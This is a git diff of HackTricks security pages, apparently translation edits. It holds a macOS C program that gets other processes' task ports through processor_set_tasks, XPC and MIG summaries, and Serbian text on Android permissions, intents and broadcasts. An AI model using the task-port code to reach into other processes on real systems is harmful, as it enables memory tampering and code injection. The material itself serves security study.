// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
|
||||
//gcc ./port_pid.c -o port_pid
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <libproc.h>
|
||||
#include <mach/mach.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <mach/exception_types.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/host_priv.h>
|
||||
#include <mach/processor_set.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_info.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/thread_act.h>
|
||||
#include <mach/thread_info.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <sys/ptrace.h>
|
||||
|
||||
mach_port_t task_for_pid_workaround(int Pid)
|
||||
{
|
||||
|
||||
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
|
||||
mach_port_t psDefault;
|
||||
mach_port_t psDefault_control;
|
||||
|
||||
task_array_t tasks;
|
||||
mach_msg_type_number_t numTasks;
|
||||
int i;
|
||||
|
||||
thread_array_t threads;
|
||||
thread_info_data_t tInfo;
|
||||
|
||||
kern_return_t kr;
|
||||
|
||||
kr = processor_set_default(myhost, &psDefault);
|
||||
|
||||
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
|
||||
mach_error("host_processor_set_priv",kr); exit(1);}
|
||||
|
||||
printf("So far so good\n");
|
||||
|
||||
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
|
||||
|
||||
for (i = 0; i < numTasks; i++)
|
||||
{
|
||||
int pid;
|
||||
pid_for_task(tasks[i], &pid);
|
||||
printf("TASK %d PID :%d\n", i,pid);
|
||||
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
|
||||
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
|
||||
printf("Command line: %s\n", pathbuf);
|
||||
} else {
|
||||
printf("proc_pidpath failed: %s\n", strerror(errno));
|
||||
}
|
||||
if (pid == Pid){
|
||||
printf("Found\n");
|
||||
return (tasks[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return (MACH_PORT_NULL);
|
||||
} // end workaround
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
if (pid <= 0) {
|
||||
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
|
||||
return 1;
|
||||
}*/
|
||||
|
||||
int pid = 1;
|
||||
|
||||
task_for_pid_workaround(pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
## XPC
|
||||
|
||||
### Osnovne informacije
|
||||
### Basic Information
|
||||
|
||||
XPC, što označava XNU (jezgro koje koristi macOS) međuprocesnu komunikaciju, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za obavljanje **sigurnih, asinhronih poziva metoda između različitih procesa** na sistemu. To je deo Apple-ovog sigurnosnog paradigma, omogućavajući **kreiranje aplikacija sa razdvojenim privilegijama** gde svaki **komponent** radi sa **samo dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
|
||||
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
|
||||
|
||||
Za više informacija o tome kako ova **komunikacija funkcioniše** i kako **može biti ranjiva**, pogledajte:
|
||||
For more information about how this **communication work** on how it **could be vulnerable** check:
|
||||
|
||||
{% content-ref url="macos-xpc/" %}
|
||||
[macos-xpc](macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Generator Mach interfejsa
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG je kreiran da **simplifikuje proces kreiranja Mach IPC** koda. To je zato što mnogo posla oko programiranja RPC uključuje iste radnje (pakovanje argumenata, slanje poruke, raspakivanje podataka na serveru...).
|
||||
MIG was created to **simplify the process of Mach IPC** code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
|
||||
|
||||
MIG **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom (u IDL -jezik definicije interfejsa-). Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
|
||||
MIC basically **generates the needed code** for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
|
||||
|
||||
Za više informacija pogledajte:
|
||||
For more info check:
|
||||
|
||||
{% content-ref url="macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](macos-mig-mach-interface-generator.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
|
@ -1128,17 +1297,18 @@ Za više informacija pogledajte:
|
|||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -27,11 +27,11 @@ Drugi načini podrške HackTricks-u:
|
|||
**Postoje dva sloja:**
|
||||
|
||||
* **OS**, koji drži instalirane aplikacije izolovane jednu od druge.
|
||||
* **Sama aplikacija**, koja omogućava developerima da **izlože određene funkcionalnosti** i konfigurišu sposobnosti aplikacije.
|
||||
* **Sama aplikacija**, koja omogućava programerima da **izlože određene funkcionalnosti** i konfigurišu sposobnosti aplikacije.
|
||||
|
||||
### UID Separacija
|
||||
|
||||
**Svaka aplikacija je dodeljena specifičan User ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može da interaguje samo sa fajlovima koje poseduje njen User ID ili deljenim** fajlovima. Zbog toga, samo aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacija.
|
||||
**Svaka aplikacija je dodeljena specifičan korisnički ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može da komunicira samo sa fajlovima koje poseduje njen korisnički ID ili deljenim** fajlovima. Stoga, samo aplikacija, određeni komponenti OS-a i korisnik sa administratorskim pravima mogu pristupiti podacima aplikacija.
|
||||
|
||||
### Deljenje UID-a
|
||||
|
||||
|
@ -40,37 +40,37 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
### Izolacija
|
||||
|
||||
**Android aplikacioni pesak** omogućava pokretanje **svake aplikacije** kao **zaseban proces pod zasebnim User ID-om**. Svaki proces ima svoju virtuelnu mašinu, tako da kod aplikacije radi izolovano od drugih aplikacija.\
|
||||
Od Android 5.0(L) **SELinux** je primenjen. U osnovi, SELinux odbija sve interakcije procesa i zatim kreira politike da **dozvoli samo očekivane interakcije između njih**.
|
||||
**Android aplikacioni pesak** omogućava pokretanje **svake aplikacije** kao **zaseban proces pod zasebnim korisničkim ID-om**. Svaki proces ima svoju virtuelnu mašinu, tako da kod aplikacije radi izolovano od drugih aplikacija.\
|
||||
Od Android 5.0(L) **SELinux** je primenjen. U osnovi, SELinux odbija sve interakcije procesa, a zatim kreira politike da **dozvoli samo očekivane interakcije između njih**.
|
||||
|
||||
### Dozvole
|
||||
|
||||
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** fajlu. **Uses-permission** element označava ime tražene dozvole unutar **name** **atributa**. Takođe ima **maxSdkVersion** atribut koji zaustavlja traženje dozvola na verzijama višim od navedene.\
|
||||
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole na početku, mogu takođe **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
|
||||
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole odmah, mogu takođe **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
|
||||
|
||||
Kada aplikacija izlaže funkcionalnost, može ograničiti **pristup samo aplikacijama koje imaju određenu dozvolu**.\
|
||||
Element dozvole ima tri atributa:
|
||||
|
||||
* **Ime** dozvole
|
||||
* Atribut **permission-group**, koji omogućava grupisanje povezanih dozvola.
|
||||
* **Nivo zaštite** koji označava kako su dozvole dodeljene. Postoje četiri tipa:
|
||||
* **Nivo zaštite** koji označava kako se dozvole dodeljuju. Postoje četiri vrste:
|
||||
* **Normalno**: Koristi se kada nema **poznatih pretnji** aplikaciji. Korisniku nije potrebno da je **odobri**.
|
||||
* **Opasno**: Označava da dozvola daje traženoj aplikaciji neki **povišen pristup**. **Korisnici su zamoljeni da ih odobre**.
|
||||
* **Potpis**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu mogu dobiti dozvolu. Ovo je najjači tip zaštite.
|
||||
* **PotpisIliSistem**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu ili **aplikacije koje se izvršavaju sa sistemskim nivoom pristupa** mogu dobiti dozvole
|
||||
* **PotpisIliSistem**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu ili **aplikacije koje se izvršavaju sa sistemskim pristupom** mogu dobiti dozvole
|
||||
|
||||
## Preinstalirane Aplikacije
|
||||
|
||||
Ove aplikacije se obično nalaze u direktorijumima **`/system/app`** ili **`/system/priv-app`** i neke od njih su **optimizovane** (možda nećete ni pronaći `classes.dex` fajl). Ove aplikacije vredi proveriti jer su nekad **pokrenute sa previše dozvola** (kao root).
|
||||
Ove aplikacije se obično nalaze u direktorijumima **`/system/app`** ili **`/system/priv-app`** i neke od njih su **optimizovane** (možda čak nećete naći `classes.dex` fajl). Ove aplikacije vredi proveriti jer su nekad **pokrenute sa previše dozvola** (kao root).
|
||||
|
||||
* One isporučene sa **AOSP** (Android OpenSource Project) **ROM-om**
|
||||
* Dodate od strane proizvođača uređaja
|
||||
* Dodate od strane provajdera **mobilnog telefona** (ako je kupljen od njih)
|
||||
* Dodate od strane provajdera **mobilne telefonije** (ako je kupljeno od njih)
|
||||
|
||||
## Rootovanje
|
||||
|
||||
Da biste dobili root pristup fizičkom Android uređaju obično morate **iskoristiti** 1 ili 2 **ranjivosti** koje obično budu **specifične** za **uređaj** i **verziju**.\
|
||||
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u korisnikovoj PATH env promenljivoj kao što je `/system/xbin`.
|
||||
Da biste dobili root pristup fizičkom Android uređaju obično trebate **iskoristiti** 1 ili 2 **ranjivosti** koje obično budu **specifične** za **uređaj** i **verziju**.\
|
||||
Kada iskorišćenje uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u korisnikovoj PATH env promenljivoj kao što je `/system/xbin`.
|
||||
|
||||
Kada je su binarni fajl konfigurisan, druga Android aplikacija se koristi za interakciju sa `su` binarnim fajlom i **obradu zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupne u Google Play prodavnici).
|
||||
|
||||
|
@ -80,10 +80,10 @@ Imajte na umu da je proces rootovanja veoma opasan i može ozbiljno oštetiti ur
|
|||
|
||||
### ROM-ovi
|
||||
|
||||
Moguće je **zameniti OS instaliranjem prilagođenog firmware-a**. To omogućava proširenje upotrebljivosti starog uređaja, zaobilazak softverskih ograničenja ili pristup najnovijem Android kodu.\
|
||||
**OmniROM** i **LineageOS** su dva od najpopularnija firmware-a za korišćenje.
|
||||
Moguće je **zameniti OS instaliranjem prilagođenog firmvera**. To omogućava proširenje upotrebljivosti starog uređaja, zaobilazak softverskih ograničenja ili pristup najnovijem Android kodu.\
|
||||
**OmniROM** i **LineageOS** su dva od najpopularnija firmvera za korišćenje.
|
||||
|
||||
Imajte na umu da **nije uvek potrebno rootovati uređaj** da biste instalirali prilagođeni firmware. **Neki proizvođači dozvoljavaju** otključavanje njihovih bootloader-a na dobro dokumentovan i siguran način.
|
||||
Imajte na umu da **nije uvek potrebno rootovati uređaj** da biste instalirali prilagođeni firmver. **Neki proizvođači dozvoljavaju** otključavanje njihovih bootloadera na dobro dokumentovan i siguran način.
|
||||
|
||||
### Posledice
|
||||
|
||||
|
@ -91,11 +91,11 @@ Kada je uređaj rootovan, bilo koja aplikacija može zatražiti pristup kao root
|
|||
|
||||
## Osnove Android Aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Format Android aplikacija se naziva _APK format fajla_. U osnovi je to **ZIP fajl** (preimenovanjem ekstenzije fajla u .zip, sadržaj može biti izvađen i pregledan).
|
||||
- Sadržaj APK-a (Nije iscrpan)
|
||||
- Format Android aplikacija se naziva _APK format fajla_. U osnovi je to **ZIP fajl** (promenom ekstenzije fajla u .zip, sadržaj može biti izvađen i pregledan).
|
||||
- Sadržaj APK fajla (Nije iscrpan)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: sadrži prekompilirane resurse, poput binarnog XML-a.
|
||||
- resources.arsc: sadrži prekompilirane resurse, kao što su binarni XML.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Ovde se nalazi Sertifikat!
|
||||
|
@ -115,11 +115,11 @@ Kada je uređaj rootovan, bilo koja aplikacija može zatražiti pristup kao root
|
|||
|
||||
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik Executable (DEX) bytecode**. Ranije je Dalvik virtuelna mašina obrađivala ovaj bytecode, ali sada, Android Runtime (ART) preuzima kontrolu u novijim verzijama Androida.
|
||||
|
||||
Za obrnuti inženjering, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik asemblaža prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asembliranje i disasembliranje u ovom kontekstu.
|
||||
Za reverzno inženjerstvo, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik asemblerskog koda prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asembliranje i disasembliranje u ovom kontekstu.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents su osnovno sredstvo komunikacije između komponenti Android aplikacija ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu prenositi podatke između aplikacija ili komponenti, slično kao što se GET/POST zahtevi koriste u HTTP komunikacijama.
|
||||
Intents su osnovno sredstvo komunikacije Android aplikacija između svojih komponenti ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu prenositi podatke između aplikacija ili komponenti, slično kao što se GET/POST zahtevi koriste u HTTP komunikacijama.
|
||||
|
||||
Dakle, Intent je u osnovi **poruka koja se prenosi između komponenti**. Intents **mogu biti usmereni** ka određenim komponentama ili aplikacijama, **ili mogu biti poslati bez određenog primaoca**.\
|
||||
Da bude jednostavno, Intent se može koristiti:
|
||||
|
@ -128,7 +128,7 @@ Da bude jednostavno, Intent se može koristiti:
|
|||
* Kao emitovanja za obaveštavanje sistema i aplikacija o promenama
|
||||
* Za pokretanje, zaustavljanje i komunikaciju sa pozadinskom uslugom
|
||||
* Za pristup podacima putem ContentProvidera
|
||||
* Kao povratni poziv za rukovanje događajima
|
||||
* Kao povratni pozivi za rukovanje događajima
|
||||
|
||||
Ako su ranjivi, **Intents mogu biti korišćeni za izvođenje različitih napada**.
|
||||
|
||||
|
@ -136,9 +136,9 @@ Ako su ranjivi, **Intents mogu biti korišćeni za izvođenje različitih napada
|
|||
|
||||
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intents-a**. U osnovi, opisuju sposobnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili vrste emitovanja koje mogu obraditi. Glavno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je kodiranje za Broadcast Receivere takođe opcija.
|
||||
|
||||
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrade specifične Intents-e koji se podudaraju sa deklarisanim kriterijumima.
|
||||
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da rukuju specifičnim Intent-ima koji se podudaraju sa deklarisanim kriterijumima.
|
||||
|
||||
Ključni aspekt Android komponenti (aktivnosti/usluga/content providera/broadcast receivera) je njihova vidljivost ili **javni status**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za razvojnike da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa **`exported`** na **`false`** u njihovim definicijama manifesta.
|
||||
Kritičan aspekt Android komponenti (aktivnosti/usluga/content providera/broadcast receivera) je njihova vidljivost ili **javni status**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za razvojnike da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa **`exported`** na **`false`** u njihovim definicijama manifesta.
|
||||
|
||||
Osim toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama zahtevanjem određenih dozvola. **`permission`** atribut može biti postavljen da bi se naložilo da samo aplikacije sa određenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može interagovati sa njom.
|
||||
```java
|
||||
|
@ -148,7 +148,7 @@ Osim toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama
|
|||
```
|
||||
### Implicitni Intenti
|
||||
|
||||
Intenti se programski kreiraju korišćenjem konstruktora Intent:
|
||||
Intenti se programatski kreiraju korišćenjem konstruktora Intent:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
@ -165,48 +165,48 @@ Ova namera treba da bude deklarisana unutar manifesta kao u sledećem primeru:
|
|||
```
|
||||
Intent-filter treba da se podudara sa **akcijom**, **podacima** i **kategorijom** da bi primio poruku.
|
||||
|
||||
Proces "Rešavanja namere" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ako dođe do **sukoba**, pojavljuje se prozor "izbora" kako bi **korisnik odlučio**.
|
||||
Proces "Rešavanja namere" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ukoliko dođe do **sukoba**, prozor "izbora" se pojavljuje tako da **korisnik može da odluči**.
|
||||
|
||||
### Eksplicitne namere
|
||||
|
||||
Eksplicitna namera navodi ime klase koju cilja:
|
||||
Eksplicitna namera specificira ime klase koju cilja:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
U drugim aplikacijama, kako biste pristupili prethodno deklarisanoj nameri, možete koristiti:
|
||||
U drugim aplikacijama, radi pristupa prethodno deklarisanoj nameri, možete koristiti:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
### Očekujući Intenti
|
||||
|
||||
Ovi dozvoljavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Pending Intenta treba **specificirati nameru i radnju koju treba izvršiti**. Ako **deklarisana namera nije eksplicitna** (ne deklariše koja namera može da je pozove), **zlonamerna aplikacija može izvršiti deklarisane radnje** u ime aplikacije žrtve. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
|
||||
Ovi dozvoljavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Očekujućeg Intenta treba **specificirati intent i radnju koju treba izvršiti**. Ako **deklarisani intent nije Eksplicitan** (ne deklariše koji intent može da ga pozove), **zlonamerna aplikacija bi mogla izvršiti deklarisane radnje** u ime žrtvene aplikacije. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
|
||||
|
||||
### Broadcast Intents
|
||||
### Emitovanje Intenti
|
||||
|
||||
Za razliku od prethodnih namera, koje prima samo jedna aplikacija, broadcast namerama **mogu pristupiti više aplikacija**. Međutim, od API verzije 14, **moguće je specificirati aplikaciju koja treba da primi** poruku korišćenjem Intent.setPackage.
|
||||
Za razliku od prethodnih intenta, koji su primljeni samo od jedne aplikacije, emitovani intenti **mogu biti primljeni od strane više aplikacija**. Međutim, od API verzije 14, **moguće je specificirati aplikaciju koja treba da primi** poruku koristeći Intent.setPackage.
|
||||
|
||||
Alternativno, takođe je moguće **specificirati dozvolu prilikom slanja broadcasta**. Aplikacija primaoc će morati da ima tu dozvolu.
|
||||
Alternativno, takođe je moguće **specificirati dozvolu prilikom slanja emitovanja**. Aplikacija primaoc će morati da ima tu dozvolu.
|
||||
|
||||
Postoje **dva tipa** Broadcasta: **Normalni** (asinhroni) i **Poređani** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar primaoca** elementa. **Svaka aplikacija može obraditi, proslediti ili odbaciti Broadcast.**
|
||||
Postoje **dva tipa** Emitovanja: **Normalno** (asinhrono) i **Poređano** (sinhrono). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar primaoca** elementa. **Svaka aplikacija može obraditi, proslediti ili odbaciti Emitovanje.**
|
||||
|
||||
Moguće je **poslati** broadcast koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
|
||||
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koji osigurava da **poruka nikada ne napusti aplikaciju**. Korišćenjem ovoga čak nećete morati ni da izvezete komponentu primaoca.
|
||||
Moguće je **poslati** emitovanje koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
|
||||
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koji osigurava da **poruka nikada ne napusti aplikaciju**. Koristeći ovo, čak nećete morati da izvezete komponentu primaoca.
|
||||
|
||||
### Ljepljivi Broadcasti
|
||||
### Ljepljiva Emitovanja
|
||||
|
||||
Ovaj tip Broadcasta **može biti pristupan dugo nakon što su poslati**.\
|
||||
Ovi su zastareli od API nivoa 21 i preporučuje se **da se ne koriste**.\
|
||||
**Dozvoljavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih modifikuje.**
|
||||
Ova vrsta Emitovanja **može biti pristupljena dugo nakon što su poslata**.\
|
||||
Ova su zastarela od API nivoa 21 i preporučuje se **da se ne koriste**.\
|
||||
**Dozvoljavaju bilo kojoj aplikaciji da špijunira podatke, ali i da ih modifikuje.**
|
||||
|
||||
Ako pronađete funkcije koje sadrže reč "ljepljivi" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
|
||||
Ako pronađete funkcije koje sadrže reč "ljepljiva" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
|
||||
|
||||
## Duboke veze / URL šeme
|
||||
## Duboki linkovi / URL šeme
|
||||
|
||||
U Android aplikacijama, **duboke veze** se koriste za pokretanje radnje (Intent) direktno putem URL-a. To se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, pokreće se određena aktivnost unutar aplikacije.
|
||||
U Android aplikacijama, **duboki linkovi** se koriste da pokrenu radnju (Intent) direktno putem URL-a. Ovo se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, određena aktivnost unutar aplikacije se pokreće.
|
||||
|
||||
Šema se mora deklarisati u datoteci **`AndroidManifest.xml`**:
|
||||
Šema mora biti deklarisana u **`AndroidManifest.xml`** fajlu:
|
||||
```xml
